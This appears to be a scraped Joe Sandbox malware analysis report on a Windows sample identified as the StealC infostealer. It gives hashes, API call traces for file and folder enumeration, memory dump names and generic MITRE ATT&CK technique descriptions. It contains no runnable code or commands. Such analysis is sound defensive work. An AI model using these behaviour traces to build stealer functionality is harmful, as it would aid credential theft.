String ID:
API String ID: 300741435-0
Opcode ID: 189a001369ec40fbfb189ea411e583d18e8c2a311d9de4f0bd41e63b45e901ed
Instruction ID: e44d59ee04860fd7b8ef20eaa497dcf880ee81561addbb3592c7221c4490ee5d
Opcode Fuzzy Hash: 189a001369ec40fbfb189ea411e583d18e8c2a311d9de4f0bd41e63b45e901ed
Instruction Fuzzy Hash: F0F06D36D052079BDB21BFB85E07F5D37A0AF00724F25414DF418A62D2DB685940FE96

Function 00FC4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4F7A
lstrcat.KERNEL32(?,00FD1070), ref: 00FC4F97
lstrcat.KERNEL32(?,00C89258), ref: 00FC4FAB
lstrcat.KERNEL32(?,00FD1074), ref: 00FC4FBD

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC492C
Part of subcall function 00FC4910: FindFirstFileA.KERNEL32(?,?), ref: 00FC4943

Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
Part of subcall function 00FC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
Part of subcall function 00FC4910: FindClose.KERNEL32(000000FF), ref: 00FC4B92

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 2d375f0c279aaf0fa5be937e5b92d281f7019e298bb4b00aa7eb6874566c908a
Instruction ID: a01b349b13e2008086b99d12f77d1b03e12d7afa07ba86e3118ab4a7ac174515
Opcode Fuzzy Hash: 2d375f0c279aaf0fa5be937e5b92d281f7019e298bb4b00aa7eb6874566c908a
Instruction Fuzzy Hash: C521A47690020867C768FBA0EC46FE9333CAB54700F00455CB65D97185EEBCAAC99BA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00FC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00FB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00FC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00FB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00FC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00FC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00FC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00FC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00FB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00FC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00FB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00FC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON